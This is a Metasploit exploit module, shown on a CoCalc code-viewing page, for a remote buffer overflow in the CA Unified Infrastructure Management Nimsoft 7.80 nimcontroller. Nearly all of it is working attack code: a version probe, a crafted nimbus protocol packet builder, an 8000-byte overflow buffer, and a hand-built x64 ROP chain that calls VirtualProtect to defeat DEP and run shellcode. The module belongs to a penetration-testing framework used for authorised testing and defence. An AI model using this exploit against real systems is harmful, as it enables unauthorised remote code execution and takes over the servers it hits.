CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/nimsoft/nimcontroller_bof.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
prepend Msf::Exploit::Remote::AutoCheck
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow',
17
'Description' => %q{
18
This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller.
19
The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list
20
probe.
21
22
Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the
23
directory_list probe.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'wetw0rk' # Vulnerability Discovery and Metasploit module
28
],
29
'References' => [
30
[ 'CVE', '2020-8010' ], # CA UIM Probe Improper ACL Handling RCE (Multiple Attack Vectors)
31
[ 'CVE', '2020-8012' ], # CA UIM nimbuscontroller Buffer Overflow RCE
32
[ 'URL', 'https://support.broadcom.com/external/content/release-announcements/CA20200205-01-Security-Notice-for-CA-Unified-Infrastructure-Management/7832' ],
33
[ 'PACKETSTORM', '156577' ]
34
],
35
'DefaultOptions' => {
36
'EXITFUNC' => 'process',
37
'AUTORUNSCRIPT' => 'post/windows/manage/migrate'
38
},
39
'Payload' => {
40
'Space' => 2000,
41
'DisableNops' => true
42
},
43
'Platform' => 'win',
44
'Arch' => ARCH_X64,
45
'Targets' => [
46
[
47
'Windows Universal (x64) - v7.80.3132',
48
{
49
'Platform' => 'win',
50
'Arch' => [ARCH_X64],
51
'Version' => '7.80 [Build 7.80.3132, Jun 1 2015]',
52
'Ret' => 0x000000014006fd3d # pop rsp; or al, 0x00; add rsp, 0x0000000000000448 ; ret [controller.exe]
53
}
54
],
55
],
56
'Privileged' => true,
57
'Notes' => {
58
'Stability' => [ CRASH_SAFE ],
59
'Reliability' => [ REPEATABLE_SESSION ],
60
'SideEffects' => [ ]
61
},
62
'DisclosureDate' => '2020-02-05',
63
'DefaultTarget' => 0
64
)
65
)
66
67
register_options(
68
[
69
OptString.new('DIRECTORY', [false, 'Directory path to obtain a listing', 'C:\\']),
70
Opt::RPORT(48000),
71
]
72
)
73
end
74
75
# check: there are only two prerequisites to getting code execution. The version number
76
# and access to the directory_list probe. The easiest way to get this information is to
77
# ask nicely ;)
78
def check
79
connect
80
81
sock.put(generate_probe('get_info', ['interfaces=0']))
82
response = sock.get_once(4096)
83
84
unless response
85
return CheckCode::Unknown('No response was returned from the target.')
86
end
87
88
list_check = -1
89
90
begin
91
if target['Version'].in? response
92
print_status("Version #{target['Version']} detected, sending directory_list probe")
93
sock.put(generate_probe('directory_list', ["directory=#{datastore['DIRECTORY']}", 'detail=1']))
94
list_check = parse_listing(sock.get_once(4096), datastore['DIRECTORY'])
95
end
96
ensure
97
disconnect
98
end
99
100
if list_check == 0
101
return CheckCode::Appears
102
else
103
return CheckCode::Safe
104
end
105
end
106
107
def exploit
108
connect
109
110
shellcode = make_nops(500)
111
shellcode << payload.encoded
112
113
offset = rand_text_alphanumeric(1000)
114
offset += "\x0f" * 33
115
116
heap_flip = [target.ret].pack('Q<*')
117
118
alignment = rand_text_alphanumeric(7) # Adjustment for the initial chain
119
rop_chain = generate_rsp_chain # Stage1: Stack alignment
120
rop_chain += rand_text_alphanumeric(631) # Adjust for second stage
121
rop_chain += generate_rop_chain # Stage2: GetModuleHandleA, GetProcAddressStub, VirtualProtectStub
122
rop_chain += rand_text_alphanumeric((3500 - # ROP chain MUST be 3500 bytes, or exploitation WILL fail
123
rop_chain.length
124
125
))
126
rop_chain += "kernel32.dll\x00"
127
rop_chain += "VirtualProtect\x00"
128
129
trigger = "\x10" * (8000 - (
130
offset.length +
131
heap_flip.length +
132
alignment.length +
133
rop_chain.length +
134
shellcode.length
135
)
136
)
137
138
buffer = offset + heap_flip + alignment + rop_chain + shellcode + trigger
139
exploit_packet = generate_probe(
140
'directory_list',
141
["directory=#{buffer}"]
142
)
143
144
sock.put(exploit_packet)
145
146
disconnect
147
end
148
149
# generate_rsp_chain: This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes
150
# otherwise our call will fail. I had VP work 50% of the time when the stack was unaligned.
151
def generate_rsp_chain
152
rop_gadgets = [0x0000000140018c42] * 20 # ret
153
rop_gadgets += [
154
0x0000000140002ef6, # pop rax ; ret
155
0x00000001401a3000, # *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
156
0x00000001400af237, # pop rdi ; ret
157
0x0000000000000007, # alignment for rsp
158
0x0000000140025dab
159
] # add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret
160
161
return rop_gadgets.pack('Q<*')
162
end
163
164
# generate_rop_chain: This chain will craft function calls to GetModuleHandleA, GetProcAddressStub,
165
# and finally VirtualProtectStub. Once completed, we have bypassed DEP and can get code execution.
166
# Since we dynamically generate VirtualProtectStub, we needn't worry about other OS's.
167
def generate_rop_chain
168
# RAX -> HMODULE GetModuleHandleA(
169
# ( RCX == *module ) LPCSTR lpModuleName,
170
# );
171
rop_gadgets = [0x0000000140018c42] * 15 # ret
172
rop_gadgets += [
173
0x0000000140002ef6, # pop rax ; ret
174
0x0000000000000000, # (zero out rax)
175
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
176
0x0000000000000000, #
177
0x0000000000000000, #
178
0x0000000000000000, #
179
0x0000000000000000, #
180
0x0000000000000000, #
181
0x0000000000000000
182
]
183
rop_gadgets += [0x0000000140018c42] * 10 # ret
184
rop_gadgets += [
185
0x0000000140131643, # pop rcx ; ret
186
0x00000000000009dd, # offset to "kernel32.dll"
187
0x000000014006d8d8
188
] # add rax, rcx ; add rsp, 0x38 ; ret
189
190
rop_gadgets += [0x0000000140018c42] * 15 # ret
191
192
rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret
193
rop_gadgets += [
194
0x0000000140002ef6, # pop rax ; ret
195
0x000000014015e310, # GetModuleHandleA (0x00000000014015E330-20)
196
0x00000001400d1161
197
] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
198
rop_gadgets += [0x0000000140018c42] * 17 # ret
199
200
# RAX -> FARPROC GetProcAddressStub(
201
# ( RCX == &addr ) HMODULE hModule,
202
# ( RDX == *module ) lpProcName
203
# );
204
rop_gadgets += [
205
0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)
206
0x0000000140002ef6, # pop rax ; ret
207
0x0000000000000000, # (zero out rax)
208
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
209
0x0000000000000000, #
210
0x0000000000000000, #
211
0x0000000000000000, #
212
0x0000000000000000, #
213
0x0000000000000000, #
214
0x0000000000000000
215
]
216
rop_gadgets += [0x0000000140018c42] * 10 # ret
217
rop_gadgets += [
218
0x0000000140131643, # pop rcx ; ret
219
0x0000000000000812, # offset to "virtualprotectstub"
220
0x000000014006d8d8
221
] # add rax, rcx ; add rsp, 0x38 ; ret
222
rop_gadgets += [0x0000000140018c42] * 15 # ret
223
rop_gadgets += [0x0000000140135e39] # mov edx, eax ; mov rbx, qword [rsp+0x30] ; mov rbp, qword [rsp+0x38] ; mov rsi, qword [rsp+0x40]
224
# mov rdi, qword [rsp+0x48] ; mov eax, edx ; add rsp, 0x20 ; pop r12 ; ret
225
226
rop_gadgets += [0x0000000140018c42] * 10 # ret
227
rop_gadgets += [0x00000001400d1ab8] # mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret
228
rop_gadgets += [0x0000000140018c42] * 10 # ret
229
rop_gadgets += [0x0000000140111ca1] # xchg rax, r13 ; or al, 0x00 ; ret
230
rop_gadgets += [
231
0x00000001400cf3d5, # mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret
232
0x0000000000000000, #
233
0x0000000000000000, #
234
0x0000000000000000
235
]
236
rop_gadgets += [0x0000000140018c42] * 6 # ret
237
rop_gadgets += [
238
0x0000000140002ef6, # pop rax ; ret
239
0x000000014015e318
240
] # GetProcAddressStub (0x00000000014015e338-20)
241
rop_gadgets += [0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
242
rop_gadgets += [0x0000000140018c42] * 17 # ret
243
244
# RAX -> BOOL VirtualProtectStub(
245
# ( RCX == *shellcode ) LPVOID lpAddress,
246
# ( RDX == len(shellcode) ) SIZE_T dwSize,
247
# ( R8 == 0x0000000000000040 ) DWORD flNewProtect,
248
# ( R9 == *writeable location ) PDWORD lpflOldProtect,
249
# );
250
rop_gadgets += [
251
0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub)
252
0x000000014013d651, # pop r12 ; ret
253
0x00000001401fb000, # *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
254
0x00000001400eba74
255
] # or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret
256
rop_gadgets += [0x0000000140018c42] * 10 # ret
257
rop_gadgets += [
258
0x0000000140002ef6, # pop rax ; ret
259
0x0000000000000000
260
]
261
rop_gadgets += [
262
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
263
0x0000000000000000, #
264
0x0000000000000000, #
265
0x0000000000000000, #
266
0x0000000000000000, #
267
0x0000000000000000, #
268
0x0000000000000000
269
]
270
rop_gadgets += [0x0000000140018c42] * 10 # ret
271
rop_gadgets += [
272
0x0000000140131643, # pop rcx ; ret
273
0x000000000000059f, # (offset to *shellcode)
274
0x000000014006d8d8
275
] # add rax, rcx ; add rsp, 0x38 ; ret
276
rop_gadgets += [0x0000000140018c42] * 15 # ret
277
rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret
278
rop_gadgets += [
279
0x00000001400496a2, # pop rdx ; ret
280
0x00000000000005dc
281
] # dwSize
282
rop_gadgets += [
283
0x00000001400bc39c, # pop r8 ; ret
284
0x0000000000000040
285
] # flNewProtect
286
rop_gadgets += [0x00000001400c5f8a] # mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub)
287
rop_gadgets += [0x0000000140018c42] * 17 # ret
288
rop_gadgets += [0x00000001400a0b55] # call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h]
289
# mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret
290
291
rop_gadgets += [0x0000000140018c42] * 20 # ret
292
293
rop_gadgets += [
294
0x0000000140002ef6, # pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE)
295
0x0000000000000000, # (zero out rax)
296
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
297
0x0000000000000000, #
298
0x0000000000000000, #
299
0x0000000000000000, #
300
0x0000000000000000, #
301
0x0000000000000000, #
302
0x0000000000000000
303
]
304
rop_gadgets += [0x0000000140018c42] * 10 # ret
305
rop_gadgets += [
306
0x0000000140131643, # pop rcx ; ret
307
0x0000000000000317, # (offset to our shellcode)
308
0x000000014006d8d8
309
] # add rax, rcx ; add rsp, 0x38 ; ret
310
rop_gadgets += [0x0000000140018c42] * 15 # ret
311
rop_gadgets += [0x00000001400a9747] # jmp rax
312
rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove)
313
314
return rop_gadgets.pack('Q<*')
315
end
316
317
# parse_listing: once the directory_list probe is sent we're returned a directory listing
318
# unfortunately it's hard to read this simply "decodes" it
319
def parse_listing(response, directory)
320
result = { 'name' => '', 'date' => '', 'size' => '', 'type' => '' }
321
i = 0
322
323
begin
324
dirlist = response.split('\x00')[0].split("\x00")
325
index = dirlist.index('entry') + 3
326
final = dirlist[index..]
327
rescue StandardError
328
print_error('Failed to gather directory listing')
329
return -1
330
end
331
332
print_line("\n Directory of #{directory}\n")
333
334
check = 0
335
name = 0
336
ftime = 0
337
size = 0
338
ftype = 0
339
340
while i < final.length
341
342
if name == 1 && final[i].to_i <= 0
343
result['name'] = final[i]
344
name = 0
345
check += 1
346
end
347
if size >= 1
348
if size == 3
349
result['size'] = final[i]
350
size = 0
351
check += 1
352
else
353
size += 1
354
end
355
end
356
if ftype >= 1
357
if ftype == 3
358
result['type'] = final[i]
359
ftype = 0
360
check += 1
361
else
362
ftype += 1
363
end
364
end
365
if ftime >= 1
366
if ftime == 3
367
result['date'] = final[i]
368
ftime = 0
369
check += 1
370
else
371
ftime += 1
372
end
373
end
374
375
if final[i].include? 'name'
376
name = 1
377
end
378
if final[i].include? 'size'
379
size = 1
380
end
381
if final[i].include? 'size'
382
ftype = 1
383
end
384
if final[i].include? 'last_modified'
385
ftime = 1
386
end
387
388
i += 1
389
390
next unless check == 4
391
392
if result['type'] == '2'
393
result['type'] = ''
394
else
395
result['type'] = '<DIR>'
396
result['size'] = ''
397
end
398
399
begin
400
time = Time.at(result['date'].to_i)
401
timestamp = time.strftime('%m/%d/%Y %I:%M %p')
402
rescue StandardError
403
timestamp = '??/??/???? ??:?? ??'
404
end
405
406
print_line(format('%20<timestamp>s %6<type>s %<name>s', timestamp: timestamp, type: result['type'], name: result['name']))
407
408
check = 0
409
end
410
print_line('')
411
return 0
412
end
413
414
# generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially
415
# craft probes in order for the controller to accept any input.
416
def generate_probe(probe, args)
417
client = "#{rand_text_alphanumeric(14)}\x00"
418
packet_args = ''
419
probe += "\x00"
420
421
for arg in args
422
423
c = ''
424
i = 0
425
426
while c != '='
427
428
c = arg[i]
429
i += 1
430
431
end
432
433
packet_args << "#{arg[0, (i - 1)]}\x00"
434
packet_args << "1\x00#{arg[i..].length + 1}\x00"
435
packet_args << "#{arg[i..]}\x00"
436
437
end
438
439
packet_header = 'nimbus/1.0 ' # nimbus header (length of body) (length of args)
440
packet_body = "mtype\x00" # mtype
441
packet_body << "7\x004\x00100\x00" # 7.4.100
442
packet_body << "cmd\x00" # cmd
443
packet_body << "7\x00#{probe.length}\x00" # 7.(length of probe)
444
packet_body << probe # probe
445
packet_body << "seq\x00" # seq
446
packet_body << "1\x002\x000\x00" # 1.2.0
447
packet_body << "ts\x00" # ts
448
packet_body << "1\x0011\x00#{rand_text_alphanumeric(10)}\x00" # 1.11.(UNIX EPOCH TIME)
449
packet_body << "frm\x00" # frm
450
packet_body << "7\x00#{client.length}\x00" # 7.(length of client)
451
packet_body << client # client address
452
packet_body << "tout\x00" # tout
453
packet_body << "1\x004\x00180\x00" # 1.4.180
454
packet_body << "addr\x00" # addr
455
packet_body << "7\x000\x00" # 7.0
456
#
457
# probe packet arguments (dynamic)
458
# argument
459
# length of arg value
460
# argument value
461
462
packet_header << "#{packet_body.length} #{packet_args.length}\r\n"
463
probe = packet_header + packet_body + packet_args
464
465
return probe
466
end
467
468
end
469
470